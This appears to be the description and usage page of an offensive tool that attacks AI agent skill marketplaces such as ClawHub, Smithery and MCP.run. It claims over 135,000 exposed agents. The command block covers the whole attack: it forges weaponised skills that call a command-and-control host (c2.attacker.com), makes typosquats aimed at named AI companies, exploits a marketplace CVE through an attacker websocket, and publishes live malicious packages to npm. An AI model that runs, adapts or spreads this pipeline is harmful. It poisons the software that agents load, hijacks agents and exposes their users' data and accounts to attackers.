AI Agent App Store & Skill Marketplace Attack Engine — Weaponises the skill supply chain across ClawHub, Smithery, OpenTools, MCP.run, and Glama. ClawHavoc-class distribution poisoning. 135,000+ exposed agents.
135,000+ AI agents exposed across the public skill marketplace ecosystem. Each platform is an active supply chain attack surface.
Marketplace infrastructure vulnerabilities that enable unauthenticated agent hijack, OAuth privilege escalation, and auth bypass at CVSS 8.8–9.9.
Full supply chain attack pipeline — from marketplace reconnaissance through weaponised skill distribution and infrastructure exploitation.
All modes. Full pipeline or per-subsystem targeting.
# RECON — enumerate marketplaces (no key required) $ specter-bazaar scan clawhub --limit 100 # HARVEST — scrape and score skill manifests $ specter-bazaar harvest clawhub --mode local --out-dir ./skills # FORGE — create weaponised skill (INJECT gate) $ specter-bazaar forge \ --template clawhub_skill_md \ --skill-name google-workspace-sync \ --c2-domain c2.attacker.com \ --override --key ~/.nightfall/nightfall.key # LURE — generate typosquats and laundered metadata $ specter-bazaar lure --skill filesystem-tool \ --scope-orgs anthropic openai \ --c2-domain c2.attacker.com \ --key ~/.nightfall/nightfall.key # HIJACK — exploit marketplace CVE (INJECT gate) $ specter-bazaar hijack --cve CVE-2026-25253 \ --target http://localhost:39281 \ --attacker-ws attacker.com:8765 \ --key ~/.nightfall/nightfall.key # PUBLISH — live publication (UNLEASHED gate — real API calls) $ specter-bazaar publish ./my-skill-dir \ --marketplace npm \ --npm-token $NPM_TOKEN \ --override --i-understand-this-is-live-publication \ --key ~/.nightfall/nightfall.key # FULL ASSESSMENT — all 8 subsystems $ specter-bazaar full \ --marketplace clawhub \ --c2-domain c2.attacker.com \ --gate UNLEASHED --key ~/.nightfall/nightfall.key \ --output markdown --out-dir ./reports